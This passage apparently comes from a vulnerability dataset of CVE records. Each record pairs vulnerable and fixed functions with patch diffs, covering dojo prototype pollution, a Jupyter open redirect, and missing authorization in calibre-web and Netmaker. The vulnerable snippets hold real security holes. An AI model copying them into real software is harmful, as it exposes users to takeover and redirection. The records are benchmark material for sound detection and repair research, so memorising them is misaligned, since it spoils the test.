{\n\t\tretErr := fmt.Errorf(\"unable to decode JSON for new repo: %w\", err)\n\n\t\tutil.HandleError(c, http.StatusBadRequest, retErr)\n\n\t\treturn\n\t}\n\n\t// update engine logger with API metadata\n\t//\n\t// https://pkg.go.dev/github.com/sirupsen/logrus?tab=doc#Entry.WithFields\n\tlogrus.WithFields(logrus.Fields{\n\t\t\"org\":  input.GetOrg(),\n\t\t\"repo\": input.GetName(),\n\t\t\"user\": u.GetName(),\n\t}).Infof(\"creating new repo %s\", input.GetFullName())\n\n\t// get repo information from the source\n\tr, err := scm.FromContext(c).GetRepo(u, input)\n\tif err != nil {\n\t\tretErr := fmt.Errorf(\"unable to retrieve repo info for %s from source: %w\", r.GetFullName(), err)\n\n\t\tutil.HandleError(c, http.StatusBadRequest, retErr)\n\n\t\treturn\n\t}\n\n\t// update fields in repo object\n\tr.SetUserID(u.GetID())\n\n\t// set the active field based off the input provided\n\tif input.Active == nil {\n\t\t// default active field to true\n\t\tr.SetActive(true)\n\t} else {\n\t\tr.SetActive(input.GetActive())\n\t}\n\n\t// set the build limit field based off the input provided\n\tif input.GetBuildLimit() == 0 {\n\t\t// default build limit to value configured by server\n\t\tr.SetBuildLimit(defaultBuildLimit)\n\t} else if input.GetBuildLimit() > maxBuildLimit {\n\t\t// set build limit to value configured by server to prevent limit from exceeding max\n\t\tr.SetBuildLimit(maxBuildLimit)\n\t} else {\n\t\tr.SetBuildLimit(input.GetBuildLimit())\n\t}\n\n\t// set the timeout field based off the input provided\n\tif input.GetTimeout() == 0 && defaultTimeout == 0 {\n\t\t// default build timeout to 30m\n\t\tr.SetTimeout(constants.BuildTimeoutDefault)\n\t} else if input.GetTimeout() == 0 {\n\t\tr.SetTimeout(defaultTimeout)\n\t} else {\n\t\tr.SetTimeout(input.GetTimeout())\n\t}\n\n\t// set the visibility field based off the input provided\n\tif len(input.GetVisibility()) == 0 {\n\t\t// default visibility field to public\n\t\tr.SetVisibility(constants.VisibilityPublic)\n\t} else {\n\t\tr.SetVisibility(input.GetVisibility())\n\t}\n\n\t// set default events if no events are passed in\n\tif !input.GetAllowPull() && !input.GetAllowPush() &&\n\t\t!input.GetAllowDeploy() && !input.GetAllowTag() &&\n\t\t!input.GetAllowComment() {\n\t\t// default events to push and pull_request\n\t\tr.SetAllowPull(true)\n\t\tr.SetAllowPush(true)\n\t} else {\n\t\tr.SetAllowComment(input.GetAllowComment())\n\t\tr.SetAllowDeploy(input.GetAllowDeploy())\n\t\tr.SetAllowPull(input.GetAllowPull())\n\t\tr.SetAllowPush(input.GetAllowPush())\n\t\tr.SetAllowTag(input.GetAllowTag())\n\t}\n\n\tif len(input.GetPipelineType()) == 0 {\n\t\tr.SetPipelineType(constants.PipelineTypeYAML)\n\t} else {\n\t\t// ensure the pipeline type matches one of the expected values\n\t\tif input.GetPipelineType() != constants.PipelineTypeYAML &&\n\t\t\tinput.GetPipelineType() != constants.PipelineTypeGo &&\n\t\t\tinput.GetPipelineType() != constants.PipelineTypeStarlark {\n\t\t\tretErr := fmt.Errorf(\"unable to create new repo %s: invalid pipeline_type provided %s\", r.GetFullName(), input.GetPipelineType())\n\n\t\t\tutil.HandleError(c, http.StatusBadRequest, retErr)\n\n\t\t\treturn\n\t\t}\n\t\tr.SetPipelineType(input.GetPipelineType())\n\t}\n\n\t// create unique id for the repo\n\tuid, err := uuid.NewRandom()\n\tif err != nil {\n\t\tretErr := fmt.Errorf(\"unable to create UID for repo %s: %w\", r.GetFullName(), err)\n\n\t\tutil.HandleError(c, http.StatusServiceUnavailable, retErr)\n\n\t\treturn\n\t}\n\n\tr.SetHash(\n\t\tbase64.StdEncoding.EncodeToString(\n\t\t\t[]byte(strings.TrimSpace(uid.String())),\n\t\t),\n\t)\n\n\t// ensure repo is allowed to be activated\n\tif !checkAllowlist(r, allowlist) {\n\t\tretErr := fmt.Errorf(\"unable to activate repo: %s is not on allowlist\", r.GetFullName())\n\n\t\tutil.HandleError(c, http.StatusForbidden, retErr)\n\n\t\treturn\n\t}\n\n\t// send API call to capture the repo from the database\n\tdbRepo, err := database.FromContext(c).GetRepoForOrg(r.GetOrg(), r.GetName())\n\tif err == nil && dbRepo.GetActive() {\n\t\tretErr := fmt.Errorf(\"unable to activate repo: %s is already active\", r.GetFullName())\n\n\t\tutil.HandleError(c, http.StatusConflict, retErr)\n\n\t\treturn\n\t}\n\n\t// check if the repo already has a hash created\n\tif len(dbRepo.GetHash()) > 0 {\n\t\t// overwrite the new repo hash with the existing repo hash\n\t\tr.SetHash(dbRepo.GetHash())\n\t}\n\n\t// send API call to create the webhook\n\tif c.Value(\"webhookvalidation\").(bool) {\n\t\t_, err = scm.FromContext(c).Enable(u, r.GetOrg(), r.GetName(), r.GetHash())\n\t\tif err != nil {\n\t\t\tretErr := fmt.Errorf(\"unable to create webhook for %s: %w\", r.GetFullName(), err)\n\n\t\t\tswitch err.Error() {\n\t\t\tcase \"repo already enabled\":\n\t\t\t\tutil.HandleError(c, http.StatusConflict, retErr)\n\t\t\t\treturn\n\t\t\tcase \"repo not found\":\n\t\t\t\tutil.HandleError(c, http.StatusNotFound, retErr)\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\tutil.HandleError(c, http.StatusInternalServerError, retErr)\n\n\t\t\treturn\n\t\t}\n\t}\n\n\t// if the repo exists but is inactive\n\tif len(dbRepo.GetOrg()) > 0 && !dbRepo.GetActive() {\n\t\t// update the repo owner\n\t\tdbRepo.SetUserID(u.GetID())\n\t\t// update the default branch\n\t\tdbRepo.SetBranch(r.GetBranch())\n\t\t// activate the repo\n\t\tdbRepo.SetActive(true)\n\n\t\t// send API call to update the repo\n\t\terr = database.FromContext(c).UpdateRepo(dbRepo)\n\t\tif err != nil {\n\t\t\tretErr := fmt.Errorf(\"unable to set repo %s to active: %w\", dbRepo.GetFullName(), err)\n\n\t\t\tutil.HandleError(c, http.StatusInternalServerError, retErr)\n\n\t\t\treturn\n\t\t}\n\n\t\t// send API call to capture the updated repo\n\t\tr, _ = database.FromContext(c).GetRepoForOrg(dbRepo.GetOrg(), dbRepo.GetName())\n\t} else {\n\t\t// send API call to create the repo\n\t\terr = database.FromContext(c).CreateRepo(r)\n\t\tif err != nil {\n\t\t\tretErr := fmt.Errorf(\"unable to create new repo %s: %w\", r.GetFullName(), err)\n\n\t\t\tutil.HandleError(c, http.StatusInternalServerError, retErr)\n\n\t\t\treturn\n\t\t}\n\n\t\t// send API call to capture the created repo\n\t\tr, _ = database.FromContext(c).GetRepoForOrg(r.GetOrg(), r.GetName())\n\t}\n\n\tc.JSON(http.StatusCreated, r)\n}"}, {"id": "vul_go_118_2", "commit": "1cc1eab", "file_path": "api/repo.go", "start_line": 1049, "end_line": 1070, "snippet": "func checkAllowlist(r *library.Repo, allowlist []string) bool {\n\t// if the allowlist is not set or empty allow any repo to be enabled\n\tif len(allowlist) == 0 {\n\t\treturn true\n\t}\n\n\tfor _, repo := range allowlist {\n\t\t// allow all repos in org\n\t\tif strings.Contains(repo, \"/*\") {\n\t\t\tif strings.HasPrefix(repo, r.GetOrg()) {\n\t\t\t\treturn true\n\t\t\t}\n\t\t}\n\n\t\t// allow specific repo within org\n\t\tif repo == r.GetFullName() {\n\t\t\treturn true\n\t\t}\n\t}\n\n\treturn false\n}"}], "fix_func": [{"id": "fix_go_118_1", "commit": "05558ee", "file_path": "api/repo.go", "start_line": 73, "end_line": 281, "snippet": "func CreateRepo(c *gin.Context) {\n\t// capture middleware values\n\tu := user.Retrieve(c)\n\tallowlist := c.Value(\"allowlist\").([]string)\n\tdefaultBuildLimit := c.Value(\"defaultBuildLimit\").(int64)\n\tdefaultTimeout := c.Value(\"defaultTimeout\").(int64)\n\tmaxBuildLimit := c.Value(\"maxBuildLimit\").(int64)\n\n\t// capture body from API request\n\tinput := new(library.Repo)\n\n\terr := c.Bind(input)\n\tif err != nil {\n\t\tretErr := fmt.Errorf(\"unable to decode JSON for new repo: %w\", err)\n\n\t\tutil.HandleError(c, http.StatusBadRequest, retErr)\n\n\t\treturn\n\t}\n\n\t// update engine logger with API metadata\n\t//\n\t// https://pkg.go.dev/github.com/sirupsen/logrus?tab=doc#Entry.WithFields\n\tlogrus.WithFields(logrus.Fields{\n\t\t\"org\":  input.GetOrg(),\n\t\t\"repo\": input.GetName(),\n\t\t\"user\": u.GetName(),\n\t}).Infof(\"creating new repo %s\", input.GetFullName())\n\n\t// get repo information from the source\n\tr, err := scm.FromContext(c).GetRepo(u, input)\n\tif err != nil {\n\t\tretErr := fmt.Errorf(\"unable to retrieve repo info for %s from source: %w\", r.GetFullName(), err)\n\n\t\tutil.HandleError(c, http.StatusBadRequest, retErr)\n\n\t\treturn\n\t}\n\n\t// update fields in repo object\n\tr.SetUserID(u.GetID())\n\n\t// set the active field based off the input provided\n\tif input.Active == nil {\n\t\t// default active field to true\n\t\tr.SetActive(true)\n\t} else {\n\t\tr.SetActive(input.GetActive())\n\t}\n\n\t// set the build limit field based off the input provided\n\tif input.GetBuildLimit() == 0 {\n\t\t// default build limit to value configured by server\n\t\tr.SetBuildLimit(defaultBuildLimit)\n\t} else if input.GetBuildLimit() > maxBuildLimit {\n\t\t// set build limit to value configured by server to prevent limit from exceeding max\n\t\tr.SetBuildLimit(maxBuildLimit)\n\t} else {\n\t\tr.SetBuildLimit(input.GetBuildLimit())\n\t}\n\n\t// set the timeout field based off the input provided\n\tif input.GetTimeout() == 0 && defaultTimeout == 0 {\n\t\t// default build timeout to 30m\n\t\tr.SetTimeout(constants.BuildTimeoutDefault)\n\t} else if input.GetTimeout() == 0 {\n\t\tr.SetTimeout(defaultTimeout)\n\t} else {\n\t\tr.SetTimeout(input.GetTimeout())\n\t}\n\n\t// set the visibility field based off the input provided\n\tif len(input.GetVisibility()) == 0 {\n\t\t// default visibility field to public\n\t\tr.SetVisibility(constants.VisibilityPublic)\n\t} else {\n\t\tr.SetVisibility(input.GetVisibility())\n\t}\n\n\t// set default events if no events are passed in\n\tif !input.GetAllowPull() && !input.GetAllowPush() &&\n\t\t!input.GetAllowDeploy() && !input.GetAllowTag() &&\n\t\t!input.GetAllowComment() {\n\t\t// default event to push\n\t\tr.SetAllowPush(true)\n\t} else {\n\t\tr.SetAllowComment(input.GetAllowComment())\n\t\tr.SetAllowDeploy(input.GetAllowDeploy())\n\t\tr.SetAllowPull(input.GetAllowPull())\n\t\tr.SetAllowPush(input.GetAllowPush())\n\t\tr.SetAllowTag(input.GetAllowTag())\n\t}\n\n\tif len(input.GetPipelineType()) == 0 {\n\t\tr.SetPipelineType(constants.PipelineTypeYAML)\n\t} else {\n\t\t// ensure the pipeline type matches one of the expected values\n\t\tif input.GetPipelineType() != constants.PipelineTypeYAML &&\n\t\t\tinput.GetPipelineType() != constants.PipelineTypeGo &&\n\t\t\tinput.GetPipelineType() != constants.PipelineTypeStarlark {\n\t\t\tretErr := fmt.Errorf(\"unable to create new repo %s: invalid pipeline_type provided %s\", r.GetFullName(), input.GetPipelineType())\n\n\t\t\tutil.HandleError(c, http.StatusBadRequest, retErr)\n\n\t\t\treturn\n\t\t}\n\t\tr.SetPipelineType(input.GetPipelineType())\n\t}\n\n\t// create unique id for the repo\n\tuid, err := uuid.NewRandom()\n\tif err != nil {\n\t\tretErr := fmt.Errorf(\"unable to create UID for repo %s: %w\", r.GetFullName(), err)\n\n\t\tutil.HandleError(c, http.StatusServiceUnavailable, retErr)\n\n\t\treturn\n\t}\n\n\tr.SetHash(\n\t\tbase64.StdEncoding.EncodeToString(\n\t\t\t[]byte(strings.TrimSpace(uid.String())),\n\t\t),\n\t)\n\n\t// ensure repo is allowed to be activated\n\tif !checkAllowlist(r, allowlist) {\n\t\tretErr := fmt.Errorf(\"unable to activate repo: %s is not on allowlist\", r.GetFullName())\n\n\t\tutil.HandleError(c, http.StatusForbidden, retErr)\n\n\t\treturn\n\t}\n\n\t// send API call to capture the repo from the database\n\tdbRepo, err := database.FromContext(c).GetRepoForOrg(r.GetOrg(), r.GetName())\n\tif err == nil && dbRepo.GetActive() {\n\t\tretErr := fmt.Errorf(\"unable to activate repo: %s is already active\", r.GetFullName())\n\n\t\tutil.HandleError(c, http.StatusConflict, retErr)\n\n\t\treturn\n\t}\n\n\t// check if the repo already has a hash created\n\tif len(dbRepo.GetHash()) > 0 {\n\t\t// overwrite the new repo hash with the existing repo hash\n\t\tr.SetHash(dbRepo.GetHash())\n\t}\n\n\t// send API call to create the webhook\n\tif c.Value(\"webhookvalidation\").(bool) {\n\t\t_, err = scm.FromContext(c).Enable(u, r.GetOrg(), r.GetName(), r.GetHash())\n\t\tif err != nil {\n\t\t\tretErr := fmt.Errorf(\"unable to create webhook for %s: %w\", r.GetFullName(), err)\n\n\t\t\tswitch err.Error() {\n\t\t\tcase \"repo already enabled\":\n\t\t\t\tutil.HandleError(c, http.StatusConflict, retErr)\n\t\t\t\treturn\n\t\t\tcase \"repo not found\":\n\t\t\t\tutil.HandleError(c, http.StatusNotFound, retErr)\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\tutil.HandleError(c, http.StatusInternalServerError, retErr)\n\n\t\t\treturn\n\t\t}\n\t}\n\n\t// if the repo exists but is inactive\n\tif len(dbRepo.GetOrg()) > 0 && !dbRepo.GetActive() {\n\t\t// update the repo owner\n\t\tdbRepo.SetUserID(u.GetID())\n\t\t// update the default branch\n\t\tdbRepo.SetBranch(r.GetBranch())\n\t\t// activate the repo\n\t\tdbRepo.SetActive(true)\n\n\t\t// send API call to update the repo\n\t\terr = database.FromContext(c).UpdateRepo(dbRepo)\n\t\tif err != nil {\n\t\t\tretErr := fmt.Errorf(\"unable to set repo %s to active: %w\", dbRepo.GetFullName(), err)\n\n\t\t\tutil.HandleError(c, http.StatusInternalServerError, retErr)\n\n\t\t\treturn\n\t\t}\n\n\t\t// send API call to capture the updated repo\n\t\tr, _ = database.FromContext(c).GetRepoForOrg(dbRepo.GetOrg(), dbRepo.GetName())\n\t} else {\n\t\t// send API call to create the repo\n\t\terr = database.FromContext(c).CreateRepo(r)\n\t\tif err != nil {\n\t\t\tretErr := fmt.Errorf(\"unable to create new repo %s: %w\", r.GetFullName(), err)\n\n\t\t\tutil.HandleError(c, http.StatusInternalServerError, retErr)\n\n\t\t\treturn\n\t\t}\n\n\t\t// send API call to capture the created repo\n\t\tr, _ = database.FromContext(c).GetRepoForOrg(r.GetOrg(), r.GetName())\n\t}\n\n\tc.JSON(http.StatusCreated, r)\n}"}, {"id": "fix_go_118_2", "commit": "05558ee", "file_path": "api/repo.go", "start_line": 1049, "end_line": 1070, "snippet": "func checkAllowlist(r *library.Repo, allowlist []string) bool {\n\t// check if all repos are allowed to be enabled\n\tif len(allowlist) == 1 && allowlist[0] == \"*\" {\n\t\treturn true\n\t}\n\n\tfor _, repo := range allowlist {\n\t\t// allow all repos in org\n\t\tif strings.Contains(repo, \"/*\") {\n\t\t\tif strings.HasPrefix(repo, r.GetOrg()) {\n\t\t\t\treturn true\n\t\t\t}\n\t\t}\n\n\t\t// allow specific repo within org\n\t\tif repo == r.GetFullName() {\n\t\t\treturn true\n\t\t}\n\t}\n\n\treturn false\n}"}], "vul_patch": "--- a/api/repo.go\n+++ b/api/repo.go\n@@ -81,8 +81,7 @@\n \tif !input.GetAllowPull() && !input.GetAllowPush() &&\n \t\t!input.GetAllowDeploy() && !input.GetAllowTag() &&\n \t\t!input.GetAllowComment() {\n-\t\t// default events to push and pull_request\n-\t\tr.SetAllowPull(true)\n+\t\t// default event to push\n \t\tr.SetAllowPush(true)\n \t} else {\n \t\tr.SetAllowComment(input.GetAllowComment())\n\n--- a/api/repo.go\n+++ b/api/repo.go\n@@ -1,6 +1,6 @@\n func checkAllowlist(r *library.Repo, allowlist []string) bool {\n-\t// if the allowlist is not set or empty allow any repo to be enabled\n-\tif len(allowlist) == 0 {\n+\t// check if all repos are allowed to be enabled\n+\tif len(allowlist) == 1 && allowlist[0] == \"*\" {\n \t\treturn true\n \t}\n \n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2020-5258", "cve_description": "In affected versions of dojo (NPM package), the deepCopy method is vulnerable to Prototype Pollution. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. This has been patched in versions 1.12.8, 1.13.7, 1.14.6, 1.15.3 and 1.16.2", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}, "CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}, "CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/dojo/dojo", "patch_url": ["https://github.com/dojo/dojo/commit/20a00afb68f5587946dc76fbeaa68c39bda2171d"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_220_1", "commit": "35d1141", "file_path": "request/util.js", "start_line": 34, "end_line": 66, "snippet": "\tfunction shouldDeepCopy(value) {\n\t\treturn value &&\n\t\t\ttypeof value === 'object' &&\n\t\t\t!isFormData(value) &&\n\t\t\t!isElement(value) &&\n\t\t\t!isBlob(value) &&\n\t\t\t!isArrayBuffer(value)\n\t}\n\n\texports.deepCopy = function(target, source) {\n\t\tfor (var name in source) {\n\t\t\tvar tval = target[name],\n  \t\t\t    sval = source[name];\n\t\t\tif (tval !== sval) {\n\t\t\t\tif (shouldDeepCopy(sval)) {\n\t\t\t\t\tif (Object.prototype.toString.call(sval) === '[object Date]') { // use this date test to handle crossing frame boundaries\n\t\t\t\t\t\ttarget[name] = new Date(sval);\n\t\t\t\t\t} else if (lang.isArray(sval)) {\n \t\t\t\t\t\t  target[name] = exports.deepCopyArray(sval);\n\t\t\t\t\t} else {\n\t\t\t\t\t\tif (tval && typeof tval === 'object') {\n\t\t\t\t\t\t\texports.deepCopy(tval, sval);\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\ttarget[name] = exports.deepCopy({}, sval);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\ttarget[name] = sval;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn target;\n\t};"}], "fix_func": [{"id": "fix_js_220_1", "commit": "20a00afb68f5587946dc76fbeaa68c39bda2171d", "file_path": "request/util.js", "start_line": 34, "end_line": 66, "snippet": "\tfunction shouldDeepCopy(value) {\n\t\treturn value &&\n\t\t\ttypeof value === 'object' &&\n\t\t\t!isFormData(value) &&\n\t\t\t!isElement(value) &&\n\t\t\t!isBlob(value) &&\n\t\t\t!isArrayBuffer(value)\n\t}\n\n\texports.deepCopy = function(target, source) {\n\t\tfor (var name in source) {\n\t\t\tvar tval = target[name],\n  \t\t\t    sval = source[name];\n\t\t\tif (name !== '__proto__' && tval !== sval) {\n\t\t\t\tif (shouldDeepCopy(sval)) {\n\t\t\t\t\tif (Object.prototype.toString.call(sval) === '[object Date]') { // use this date test to handle crossing frame boundaries\n\t\t\t\t\t\ttarget[name] = new Date(sval);\n\t\t\t\t\t} else if (lang.isArray(sval)) {\n \t\t\t\t\t\t  target[name] = exports.deepCopyArray(sval);\n\t\t\t\t\t} else {\n\t\t\t\t\t\tif (tval && typeof tval === 'object') {\n\t\t\t\t\t\t\texports.deepCopy(tval, sval);\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\ttarget[name] = exports.deepCopy({}, sval);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\ttarget[name] = sval;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\treturn target;\n\t};"}], "vul_patch": "--- a/request/util.js\n+++ b/request/util.js\n@@ -11,7 +11,7 @@\n \t\tfor (var name in source) {\n \t\t\tvar tval = target[name],\n   \t\t\t    sval = source[name];\n-\t\t\tif (tval !== sval) {\n+\t\t\tif (name !== '__proto__' && tval !== sval) {\n \t\t\t\tif (shouldDeepCopy(sval)) {\n \t\t\t\t\tif (Object.prototype.toString.call(sval) === '[object Date]') { // use this date test to handle crossing frame boundaries\n \t\t\t\t\t\ttarget[name] = new Date(sval);\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2020-26232", "cve_description": "Jupyter Server before version 1.0.6 has an Open redirect vulnerability. A maliciously crafted link to a jupyter server could redirect the browser to a different website. All jupyter servers are technically affected, however, these maliciously crafted links can only be reasonably made for known jupyter server hosts. A link to your jupyter server may appear safe, but ultimately redirect to a spoofed server on the public internet.", "cwe_info": {"CWE-601": {"name": "URL Redirection to Untrusted Site ('Open Redirect')", "description": "The web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect."}}, "repo": "https://github.com/jupyter-server/jupyter_server", "patch_url": ["https://github.com/jupyter-server/jupyter_server/commit/3d83e49090289c431da253e2bdb8dc479cbcb157"], "programing_language": "Python", "vul_func": [{"id": "vul_py_112_1", "commit": "505140f", "file_path": "jupyter_server/base/handlers.py", "start_line": 778, "end_line": 781, "snippet": "    def get(self):\n        uri = self.request.path.rstrip(\"/\")\n        if uri:\n            self.redirect('?'.join((uri, self.request.query)))"}], "fix_func": [{"id": "fix_py_112_1", "commit": "3d83e49", "file_path": "jupyter_server/base/handlers.py", "start_line": 778, "end_line": 784, "snippet": "    def get(self):\n        path, *rest = self.request.uri.partition(\"?\")\n        # trim trailing *and* leading /\n        # to avoid misinterpreting repeated '//'\n        path = \"/\" + path.strip(\"/\")\n        new_uri = \"\".join([path, *rest])\n        self.redirect(new_uri)"}], "vul_patch": "--- a/jupyter_server/base/handlers.py\n+++ b/jupyter_server/base/handlers.py\n@@ -1,4 +1,7 @@\n     def get(self):\n-        uri = self.request.path.rstrip(\"/\")\n-        if uri:\n-            self.redirect('?'.join((uri, self.request.query)))\n+        path, *rest = self.request.uri.partition(\"?\")\n+        # trim trailing *and* leading /\n+        # to avoid misinterpreting repeated '//'\n+        path = \"/\" + path.strip(\"/\")\n+        new_uri = \"\".join([path, *rest])\n+        self.redirect(new_uri)\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2021-3987", "cve_description": "An improper access control vulnerability exists in janeczku/calibre-web. The affected version allows users without public shelf permissions to create public shelves. The vulnerability is due to the `create_shelf` method in `shelf.py` not verifying if the user has the necessary permissions to create a public shelf. This issue can lead to unauthorized actions being performed by users.", "cwe_info": {"CWE-862": {"name": "Missing Authorization", "description": "The product does not perform an authorization check when an actor attempts to access a resource or perform an action."}, "CWE-639": {"name": "Authorization Bypass Through User-Controlled Key", "description": "The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data."}}, "repo": "https://github.com/janeczku/calibre-web", "patch_url": ["https://github.com/janeczku/calibre-web/commit/bcdc97641447965af486964537f3821f47b28874"], "programing_language": "Python", "vul_func": [{"id": "vul_py_39_1", "commit": "6aad937", "file_path": "cps/shelf.py", "start_line": 226, "end_line": 228, "snippet": "def create_shelf():\n    shelf = ub.Shelf()\n    return create_edit_shelf(shelf, page_title=_(u\"Create a Shelf\"), page=\"shelfcreate\")"}], "fix_func": [{"id": "fix_py_39_1", "commit": "bcdc976", "file_path": "cps/shelf.py", "start_line": 226, "end_line": 232, "snippet": "def create_shelf():\n    if not current_user.role_edit_shelfs() and request.method == 'POST':\n        flash(_(u\"Sorry you are not allowed to create a public shelf\"), category=\"error\")\n        return redirect(url_for('web.index'))\n    else:\n        shelf = ub.Shelf()\n        return create_edit_shelf(shelf, page_title=_(u\"Create a Shelf\"), page=\"shelfcreate\")"}], "vul_patch": "--- a/cps/shelf.py\n+++ b/cps/shelf.py\n@@ -1,3 +1,7 @@\n def create_shelf():\n-    shelf = ub.Shelf()\n-    return create_edit_shelf(shelf, page_title=_(u\"Create a Shelf\"), page=\"shelfcreate\")\n+    if not current_user.role_edit_shelfs() and request.method == 'POST':\n+        flash(_(u\"Sorry you are not allowed to create a public shelf\"), category=\"error\")\n+        return redirect(url_for('web.index'))\n+    else:\n+        shelf = ub.Shelf()\n+        return create_edit_shelf(shelf, page_title=_(u\"Create a Shelf\"), page=\"shelfcreate\")\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2021-3987:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/calibre-web\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\n/workspace/PoC_env/CVE-2021-3987/bin/python  hand_test.py\n", "unit_test_cmd": null}
{"cve_id": "CVE-2023-32078", "cve_description": "Netmaker makes networks with WireGuard. An Insecure Direct Object Reference (IDOR) vulnerability was found in versions prior to 0.17.1 and 0.18.6 in the user update function. By specifying another user's username, it was possible to update the other user's password. The issue is patched in 0.17.1 and fixed in 0.18.6. If Users are using 0.17.1, they should run `docker pull gravitl/netmaker:v0.17.1` and `docker-compose up -d`. This will switch them to the patched users. If users are using v0.18.0-0.18.5, they should upgrade to v0.18.6 or later. As a workaround, someone using version 0.17.1 can pull the latest docker image of the backend and restart the server.", "cwe_info": {"CWE-862": {"name": "Missing Authorization", "description": "The product does not perform an authorization check when an actor attempts to access a resource or perform an action."}, "CWE-639": {"name": "Authorization Bypass Through User-Controlled Key", "description": "The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data."}}, "repo": "https://github.com/gravitl/netmaker", "patch_url": ["https://github.com/gravitl/netmaker/commit/b3be57c65bf0bbfab43b66853c8e3637a43e2839"], "programing_language": "Go", "vul_func": [{"id": "vul_go_271_1", "commit": "b5e6836a6c8a9b1cf12ca87c734ce22502cca0a9", "file_path": "controllers/user.go", "start_line": 330, "end_line": 367, "snippet": "func updateUser(w http.ResponseWriter, r *http.Request) {\n\tw.Header().Set(\"Content-Type\", \"application/json\")\n\tvar params = mux.Vars(r)\n\t// start here\n\tusername := params[\"username\"]\n\tuser, err := logic.GetUser(username)\n\tif err != nil {\n\t\tlogger.Log(0, username,\n\t\t\t\"failed to update user info: \", err.Error())\n\t\tlogic.ReturnErrorResponse(w, r, logic.FormatError(err, \"internal\"))\n\t\treturn\n\t}\n\tif auth.IsOauthUser(user) == nil {\n\t\terr := fmt.Errorf(\"cannot update user info for oauth user %s\", username)\n\t\tlogger.Log(0, err.Error())\n\t\tlogic.ReturnErrorResponse(w, r, logic.FormatError(err, \"forbidden\"))\n\t\treturn\n\t}\n\tvar userchange models.User\n\t// we decode our body request params\n\terr = json.NewDecoder(r.Body).Decode(&userchange)\n\tif err != nil {\n\t\tlogger.Log(0, username, \"error decoding request body: \",\n\t\t\terr.Error())\n\t\tlogic.ReturnErrorResponse(w, r, logic.FormatError(err, \"badrequest\"))\n\t\treturn\n\t}\n\tuserchange.Networks = nil\n\tuser, err = logic.UpdateUser(&userchange, user)\n\tif err != nil {\n\t\tlogger.Log(0, username,\n\t\t\t\"failed to update user info: \", err.Error())\n\t\tlogic.ReturnErrorResponse(w, r, logic.FormatError(err, \"badrequest\"))\n\t\treturn\n\t}\n\tlogger.Log(1, username, \"was updated\")\n\tjson.NewEncoder(w).Encode(user)\n}"}], "fix_func": [{"id": "fix_go_271_1", "commit": "b3be57c65bf0bbfab43b66853c8e3637a43e2839", "file_path": "controllers/user.go", "start_line": 330, "end_line": 383, "snippet": "func updateUser(w http.ResponseWriter, r *http.Request) {\n\tw.Header().Set(\"Content-Type\", \"application/json\")\n\tvar params = mux.Vars(r)\n\t// start here\n\tjwtUser, _, isadmin, err := logic.VerifyJWT(r.Header.Get(\"Authorization\"))\n\tif err != nil {\n\t\tlogger.Log(0, \"verifyJWT error\", err.Error())\n\t\tlogic.ReturnErrorResponse(w, r, logic.FormatError(err, \"internal\"))\n\t\treturn\n\t}\n\tusername := params[\"username\"]\n\tif username != jwtUser && !isadmin {\n\t\tlogger.Log(0, \"non-admin user\", jwtUser, \"attempted to update user\", username)\n\t\tlogic.ReturnErrorResponse(w, r, logic.FormatError(errors.New(\"not authorizied\"), \"unauthorized\"))\n\t\treturn\n\t}\n\tuser, err := logic.GetUser(username)\n\tif err != nil {\n\t\tlogger.Log(0, username,\n\t\t\t\"failed to update user info: \", err.Error())\n\t\tlogic.ReturnErrorResponse(w, r, logic.FormatError(err, \"internal\"))\n\t\treturn\n\t}\n\tif auth.IsOauthUser(user) == nil {\n\t\terr := fmt.Errorf(\"cannot update user info for oauth user %s\", username)\n\t\tlogger.Log(0, err.Error())\n\t\tlogic.ReturnErrorResponse(w, r, logic.FormatError(err, \"forbidden\"))\n\t\treturn\n\t}\n\tvar userchange models.User\n\t// we decode our body request params\n\terr = json.NewDecoder(r.Body).Decode(&userchange)\n\tif err != nil {\n\t\tlogger.Log(0, username, \"error decoding request body: \",\n\t\t\terr.Error())\n\t\tlogic.ReturnErrorResponse(w, r, logic.FormatError(err, \"badrequest\"))\n\t\treturn\n\t}\n\tif userchange.IsAdmin && !isadmin {\n\t\tlogger.Log(0, \"non-admin user\", jwtUser, \"attempted get admin privilages\")\n\t\tlogic.ReturnErrorResponse(w, r, logic.FormatError(errors.New(\"not authorizied\"), \"unauthorized\"))\n\t\treturn\n\t}\n\tuserchange.Networks = nil\n\tuser, err = logic.UpdateUser(&userchange, user)\n\tif err != nil {\n\t\tlogger.Log(0, username,\n\t\t\t\"failed to update user info: \", err.Error())\n\t\tlogic.ReturnErrorResponse(w, r, logic.FormatError(err, 